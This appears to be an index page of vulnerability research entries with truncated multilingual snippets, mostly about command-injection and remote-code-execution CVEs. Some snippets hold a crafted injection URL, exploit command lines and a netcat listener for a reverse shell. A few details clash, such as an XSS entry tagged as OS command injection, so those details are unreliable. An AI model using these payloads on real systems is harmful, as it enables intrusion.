Vulnerability-Research

🛡️ Исследование уязвимостей Здесь я веду каталог обнаруженных мной уязвимостей: соответствующие отчёты write-ups с подробным описанием слабых мест, а также сведения об их влиянии и способах устранения. 🏆 Присвоенные CVE CVE ID| Название уязвимости| Серьёзность/CVSS| Опубликовано| Отчёт...

CVE-2026-4480-POC

CVE-2026-4480 — Удалённое выполнение кода в подсистеме печати Samba Обзор Материалы proof-of-concept и исследования, связанные с CVE-2026-4480 — критической уязвимостью удалённого выполнения кода RCE, затрагивающей подсистему печати Samba. Уязвимость вызвана некорректной обработкой контролируемых...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 Предлагаемое описание Уязвимость в Amiro.CMS до версии 7.8.4 существует из-за отсутствия мер по нейтрализации специальных элементов. Она позволяет удаленным злоумышленникам провести атаку с использованием межсайтового скриптинга XSS. Тип уязвимости CWE-78 | Неправильная нейтрализац...

CVE-2026-40176-poc

CVE-2026-40176: Preuve de concept d'injection de commande OS Composer Perforce English version Aperçu Ce dépôt est une preuve de concept PoC de la vulnérabilité critique d'injection de commande OS CVE-2026-40176 présente dans le pilote Perforce VCS de Composer. Cette vulnérabilité affecte les...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-Модель угроз----ms-agent-Внедрение команд...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 Dell UnityVSA CVE-2025-36604 탐지 아티팩트 생성기 https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 기술적 세부 사항은 블로그 게시물을 참조하세요. 동작 중 탐지 python watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py --target https://192.168.5.45/ --comman...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 Une vulnérabilité critique d'injection de commandes a été découverte dans plusieurs points de terminaison API du serveur Bitbucket et du Data Center d'Atlassian. Cette vulnérabilité affecte toutes les versions de Bitbucket Server et Data Center publiées...

K000163537: Vim vulnerability CVE-2026-73073

Security Advisory Description Vim is an open source, command line text editor. Prior to 9.2.0845, StructMembers in runtime/autoload/ccomplete.vim constructs and executes a vimgrep command using an insufficiently escaped typeref: or typename: value from a tags file, allowing an unterminated...

Termix-research

Termix Security Research Исследование уязвимостей Termix — веб-платформы для управления SSH и серверами 13k+ звёзд. CVE| Проблема| Критичность| Исправлено| Консультация ---|---|---|---|--- CVE-2026-45746| Перехват сессии → RCE| 9.0 Критическая| v2.3.2| GHSA-cx2r-843c-vww8 CVE-2026-45750| Инъекция...

CVE-2022-31499

CVE-2022-31499 Название эксплойта: Nortek Linear eMerge E3-Series - Слепое внедрение команд ОС...

Apache Airflow OS Command Injection

Apache Airflow prior to version 2.2.4 is vulnerable to OS command injection attacks because some example DAGs do not properly sanitize user-provided parameters, making them susceptible to OS Command Injection from the web UI. id: CVE-2022-24288 info: name: Apache Airflow OS Command Injection...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

rConfig <= 3.9.4 - Authenticated OS Command Injection

lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the...

Apache Tika < 1.1.8 - Header Command Injection

Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. i...

D-Link NAS - Command Injection via Group Parameter

A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgiuseradd of the file /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. The manipulation of the argument group leads to os command injection. i...

Cacti <=1.2.22 - Remote Command Injection

Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS...

Yachtcontrol Webapplication 1.0 - Remote Command Injection

Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command=COMMAND" page and parameter, where COMMAND will be executed and returning the results to the client. Affects Yachtcontrol webservers...

Hikvision IP camera/NVR - Remote Command Execution

Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. id: CVE-2021-36260 info: name: Hikvisio...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Проблема была обнаружена в Webmin =1.920. Параметры "old" и "expire" в passwordchange.cgi содержат уязвимость внедрения команд. Использование 1. Запустите прослушиватель на красной коробке. rlwrap -cAr nc -lvp 1919 2. Запустите эксплой...